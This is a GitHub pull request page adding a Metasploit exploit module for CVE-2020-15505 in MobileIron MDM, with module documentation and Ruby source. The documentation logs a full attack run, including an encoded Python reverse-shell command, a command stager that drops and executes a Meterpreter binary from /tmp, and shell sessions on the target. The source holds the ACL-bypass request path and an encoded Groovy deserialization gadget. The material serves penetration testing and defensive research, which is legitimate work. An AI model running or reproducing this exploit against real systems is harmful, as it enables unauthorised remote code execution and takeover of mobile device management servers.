Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add MobileIron CVE-2020-15505 exploit #14645

Merged
merged 3 commits into from
Jan 22, 2021
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
107 changes: 107 additions & 0 deletions documentation/modules/exploit/linux/http/mobileiron_mdm_hessian_rce.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,107 @@
## Vulnerable Application

### Description

This module exploits an ACL bypass in MobileIron MDM products to
execute a Groovy gadget against a Hessian-based Java deserialization
endpoint.

## Verification Steps

See [Scenarios](#scenarios).

## Targets

### 0

This executes a Unix command.

### 1

This uses a Linux dropper to execute code.

## Scenarios

### MobileIron Core 10.6.0.0

```
msf6 > use exploit/linux/http/mobileiron_mdm_hessian_rce
[*] Using configured payload cmd/unix/reverse_python_ssl
msf6 exploit(linux/http/mobileiron_mdm_hessian_rce) > options

Module options (exploit/linux/http/mobileiron_mdm_hessian_rce):

Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 443 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL true no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes Base path
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host


Payload options (cmd/unix/reverse_python_ssl):

Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port


Exploit target:

Id Name
-- ----
0 Unix Command


msf6 exploit(linux/http/mobileiron_mdm_hessian_rce) > set rhosts 192.168.123.123
rhosts => 192.168.123.123
msf6 exploit(linux/http/mobileiron_mdm_hessian_rce) > set lhost 192.168.123.1
lhost => 192.168.123.1
msf6 exploit(linux/http/mobileiron_mdm_hessian_rce) > run

[+] python -c "exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zLHNzbApzbz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSkKc28uY29ubmVjdCgoJzE5Mi4xNjguMTIzLjEnLDQ0NDQpKQpzPXNzbC53cmFwX3NvY2tldChzbykKc0Y9RmFsc2UKd2hpbGUgbm90IHNGOgoJZGF0YT1zLnJlY3YoMTAyNCkKCWlmIGxlbihkYXRhKT09MDoKCQlzRiA9IFRydWUKCXByb2M9c3VicHJvY2Vzcy5Qb3BlbihkYXRhLHNoZWxsPVRydWUsc3Rkb3V0PXN1YnByb2Nlc3MuUElQRSxzdGRlcnI9c3VicHJvY2Vzcy5QSVBFLHN0ZGluPXN1YnByb2Nlc3MuUElQRSkKCXN0ZG91dF92YWx1ZT1wcm9jLnN0ZG91dC5yZWFkKCkgKyBwcm9jLnN0ZGVyci5yZWFkKCkKCXMuc2VuZChzdGRvdXRfdmFsdWUpCg==')[0]))"
[*] Started reverse SSL handler on 192.168.123.1:4444
[*] Executing automatic check (disable AutoCheck to override)
[+] The target is vulnerable. ACL bypass successful.
[*] Executing Unix Command for cmd/unix/reverse_python_ssl
[*] Executing command: python -c "exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zLHNzbApzbz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSkKc28uY29ubmVjdCgoJzE5Mi4xNjguMTIzLjEnLDQ0NDQpKQpzPXNzbC53cmFwX3NvY2tldChzbykKTVU9RmFsc2UKd2hpbGUgbm90IE1VOgoJZGF0YT1zLnJlY3YoMTAyNCkKCWlmIGxlbihkYXRhKT09MDoKCQlNVSA9IFRydWUKCXByb2M9c3VicHJvY2Vzcy5Qb3BlbihkYXRhLHNoZWxsPVRydWUsc3Rkb3V0PXN1YnByb2Nlc3MuUElQRSxzdGRlcnI9c3VicHJvY2Vzcy5QSVBFLHN0ZGluPXN1YnByb2Nlc3MuUElQRSkKCXN0ZG91dF92YWx1ZT1wcm9jLnN0ZG91dC5yZWFkKCkgKyBwcm9jLnN0ZGVyci5yZWFkKCkKCXMuc2VuZChzdGRvdXRfdmFsdWUpCg==')[0]))"
[*] Command shell session 1 opened (192.168.123.1:4444 -> 192.168.123.123:49232) at 2021-01-22 01:04:15 -0600

id
uid=101(tomcat) gid=102(tomcat) groups=102(tomcat)
uname -a
Linux x.x.x 3.10.0-1062.4.1.el7.x86_64 #1 SMP Fri Oct 18 17:15:30 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
^Z
Background session 1? [y/N] y
msf6 exploit(linux/http/mobileiron_mdm_hessian_rce) > set target 1
target => 1
msf6 exploit(linux/http/mobileiron_mdm_hessian_rce) > run

[*] Started reverse TCP handler on 192.168.123.1:4444
[*] Executing automatic check (disable AutoCheck to override)
[+] The target is vulnerable. ACL bypass successful.
[*] Executing Linux Dropper for linux/x64/meterpreter/reverse_tcp
[*] Generated command stager: ["echo -n f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAA+gAAAAAAAAB8AQAAAAAAAAAQAAAAAAAASDH/aglYmbYQSInWTTHJaiJBWrIHDwVIhcB4UWoKQVlQailYmWoCX2oBXg8FSIXAeDtIl0i5AgARXMCoewFRSInmahBaaipYDwVZSIXAeSVJ/8l0GFdqI1hqAGoFSInnSDH2DwVZWV9IhcB5x2o8WGoBXw8FXmp+Wg8FSIXAeO3/5g==>>'/tmp/FYLzZ.b64' ; ((which base64 >&2 && base64 -d -) || (which base64 >&2 && base64 --decode -) || (which openssl >&2 && openssl enc -d -A -base64 -in /dev/stdin) || (which python >&2 && python -c 'import sys, base64; print base64.standard_b64decode(sys.stdin.read());') || (which perl >&2 && perl -MMIME::Base64 -ne 'print decode_base64($_)')) 2> /dev/null > '/tmp/eHmLx' < '/tmp/FYLzZ.b64' ; chmod +x '/tmp/eHmLx' ; '/tmp/eHmLx' ; rm -f '/tmp/eHmLx' ; rm -f '/tmp/FYLzZ.b64'"]
[*] Executing command: echo -n f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAA+gAAAAAAAAB8AQAAAAAAAAAQAAAAAAAASDH/aglYmbYQSInWTTHJaiJBWrIHDwVIhcB4UWoKQVlQailYmWoCX2oBXg8FSIXAeDtIl0i5AgARXMCoewFRSInmahBaaipYDwVZSIXAeSVJ/8l0GFdqI1hqAGoFSInnSDH2DwVZWV9IhcB5x2o8WGoBXw8FXmp+Wg8FSIXAeO3/5g==>>'/tmp/FYLzZ.b64' ; ((which base64 >&2 && base64 -d -) || (which base64 >&2 && base64 --decode -) || (which openssl >&2 && openssl enc -d -A -base64 -in /dev/stdin) || (which python >&2 && python -c 'import sys, base64; print base64.standard_b64decode(sys.stdin.read());') || (which perl >&2 && perl -MMIME::Base64 -ne 'print decode_base64($_)')) 2> /dev/null > '/tmp/eHmLx' < '/tmp/FYLzZ.b64' ; chmod +x '/tmp/eHmLx' ; '/tmp/eHmLx' ; rm -f '/tmp/eHmLx' ; rm -f '/tmp/FYLzZ.b64'
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3008420 bytes) to 192.168.123.123
[*] Command Stager progress - 100.00% done (823/823 bytes)
[*] Meterpreter session 2 opened (192.168.123.1:4444 -> 192.168.123.123:49240) at 2021-01-22 01:04:23 -0600

meterpreter > getuid
Server username: tomcat @ x.x.x (uid=101, gid=102, euid=101, egid=102)
meterpreter > sysinfo
Computer : x.x.x
OS : CentOS 7.6.1810 (Linux 3.10.0-1062.4.1.el7.x86_64)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter >
```
147 changes: 147 additions & 0 deletions modules/exploits/linux/http/mobileiron_mdm_hessian_rce.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,147 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager

def initialize(info = {})
super(
update_info(
info,
'Name' => 'MobileIron MDM Hessian-Based Java Deserialization RCE',
'Description' => %q{
This module exploits an ACL bypass in MobileIron MDM products to
execute a Groovy gadget against a Hessian-based Java deserialization
endpoint.
},
'Author' => [
'Orange Tsai', # Discovery
'rootxharsh', # Exploit
'iamnoooob', # Exploit
'wvu' # Module
],
'References' => [
['CVE', '2020-15505'],
['URL', 'https://www.mobileiron.com/en/blog/mobileiron-security-updates-available'],
['URL', 'https://blog.orange.tw/2020/09/how-i-hacked-facebook-again-mobileiron-mdm-rce.html'],
['URL', 'https://github.com/httpvoid/CVE-Reverse/tree/master/CVE-2020-15505']
],
'DisclosureDate' => '2020-09-12', # Public disclosure
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Privileged' => false,
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_python_ssl'
}
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper,
'DefaultOptions' => {
'CMDSTAGER::FLAVOR' => :bourne,
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
}
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'SSL' => true
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)

register_options([
Opt::RPORT(443),
OptString.new('TARGETURI', [true, 'Base path', '/'])
])
end

def check
# http://hessian.caucho.com/doc/hessian-1.0-spec.xtp#Call
res = send_request_hessian('c')

unless res
return CheckCode::Unknown('Target did not respond to check.')
end

unless res.code == 200 && res.headers['Content-Type'] == 'application/x-hessian'
return CheckCode::Safe('ACL bypass failed.')
end

CheckCode::Vulnerable('ACL bypass successful.')
end

def exploit
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")

case target['Type']
when :unix_cmd
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager
end
end

def execute_command(cmd, _opts = {})
vprint_status("Executing command: #{cmd}")

send_request_hessian(groovy_gadget(cmd))
end

def send_request_hessian(data)
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/mifs/.;/services/LogService'),
'ctype' => 'x-application/hessian',
'headers' => {
'Referer' => rand_text_english(8..42)
},
'data' => data
)
end

def groovy_gadget(cmd)
# http://hessian.caucho.com/doc/hessian-1.0-spec.xtp#Headers
hessian = "c\x01\x00H\x00\x08#{rand_text_english(8)}"

# Cale hates me for this
hessian << Rex::Text.zlib_inflate(Rex::Text.decode_base64(
wvu marked this conversation as resolved.
Show resolved Hide resolved
<<~HESSIAN
eNpFj01PwkAQhkcRBUz8CBe9cfVg+Q3YYDBKIS7h4mnbju2S3W4zuy20v95BQS6bfXffPPPM
3APMPQwzsrZugsorHUx3pSxSK+Ae/25LsiWSV+i4CgJ6uXR5aFPk+GQpCxK+57JywQFDVeGV
wWCOPrdpqK2rCAVcmt8soOu8JC/gltBZXaPwJD1mzRvAnt9PFWHiVY2Hh0cjd8pUJqpMjLT4
XkqSzEJyh0IvRY0ZM9joYSNrGWhZZAGLJ+jcS6V0iiRgSPiHnhJZ4qkozauAq8Qaw4uuNcM6
nMexKsYuF3D+nLDlbBK+j1az6Wj5MYmmq/bf0FITCbjGolZkC4OF59g/DnERN7t2WyB9MvhC
wMDnyi3iDX9y8aY8rrFqSnRrD3dfJ/dQS+f2QsCUTpxso7Zt95yz09EOfgCmKo1k
HESSIAN
))

hessian.sub("\x00\x0fHACK THE PLANET", "#{[cmd.length].pack('n')}#{cmd}")
smcintyre-r7 marked this conversation as resolved.
Show resolved Hide resolved
end

end